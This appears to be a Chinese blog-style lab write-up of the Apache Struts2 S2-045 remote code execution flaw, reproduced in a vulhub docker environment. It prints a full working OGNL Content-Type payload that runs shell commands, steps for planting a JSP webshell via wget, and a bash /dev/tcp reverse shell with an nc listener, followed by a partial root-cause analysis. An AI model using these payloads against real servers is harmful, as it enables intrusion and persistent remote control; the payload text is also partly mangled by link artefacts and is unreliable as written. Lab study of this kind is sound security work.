S2-045

S2-045 Remote Code Execution

0x00.漏洞背景

Struts2是第二代基于Model-View-Controller(MVC)模型的java企业级web应用框架,并成为当时国内外较为流行的容器软件中间件。jakarta是apache组织下的一套Java解决方案的开源软件的名称,包括很多子项目。Struts就是jakarta的紧密关联项目。

根据CNVD技术组成员单位——杭州安恒信息技术有限公司提供的分析情况,基于JakartaMultipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,可通过精心构造附带OGNL表达的URL导致远程代码执行。

CNVD对漏洞的综合评级均为“高危”。由于struts 2.3.5之前的版本存在S2-016漏洞,因此有较多升级后的Apache struts2的版本为2.3.5及以上版本,极有可能受到漏洞的影响。

0x01.受影响的版本

Struts2.3.5-Struts2.3.31

Struts2.5-Struts2.5.10

0x02.漏洞环境搭建

a.从git仓库获取vulhub

​ 1) git clone https://github.com/vulhub/vulhub.git

b.docker-compose工具的下载

c.在docker-compose.yml中有端口映射关系

d. 环境创建docker-compose -d up

e. 查看环境docker ps -a

f.进入docker的bash:docker exec -t -i CONTAINER ID /bin/bash

0x03.POC检测漏洞存在

a.使用浏览器访问环境

b.使用burpsuite抓包,并利用vulhub自带的poc验证

Content-Type:%{ #context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'] .addHeader('vulhub',233*233)}.multipart/form-data

发送multipart/form-data使得能够对ognl表达式进行解析执行

addHeader(‘vulhub’,233233):添加头部的名称为vulhub,值为233\233

c.使用网上的poc,实现命令执行

POC:

Content-Type:"%{(#bm='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='***\*ls\****').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new [java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"](mailto:java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\)

0x04.利用poc构造简单的利用程序

程序过于丑陋

无法显示

0x05.网站后门

a.利用C刀自带的jsp木马后门

b.将文件放到目标主机能够访问的web站点下

c.使用命令:wget dst/1.jsp

d.用Cknife尝试连接

e.试过其他方法,但还是这个最容易实现……

0x06.反弹Shell

a.主要的命令

bash -i >& /dev/tcp/dst/port 0>&1

依赖输出重定向,将bash反弹给某个ip的某个端口[自己的想法]

b.用nc命令监听port

nc -lvp port

c.命令执行完毕之后,能够拿到对应的bash

0x07.漏洞成因分析

参考网站:大佬

a.从虚拟机中利用docker cp拷贝下对应的源码[版本:2.3.30]

b.使用jd-gui进行解包和静态分析

c.从参考网站可知,寻找的重点应该在于对请求包的封装

在.\dispatcher\ng\filter\Strust2PrepareAndExecuteFilter中

可以找到对request的最初处理

在找到对应的类和方法

在dispatcher类中,出现了和poc重合的点[“multipart/form-data”]

继续查看mpr的赋值处理,getMultiPartRequest()方法

mpr是一个接口类,所以需要通过实体类进行实例化

到这里已经看不太明白了,这里放个大佬的解释

考虑通过解析类的变换,实现对应的命令执行

改变原本默认返回的类[个人想法]

评论

:D 一言句子获取中...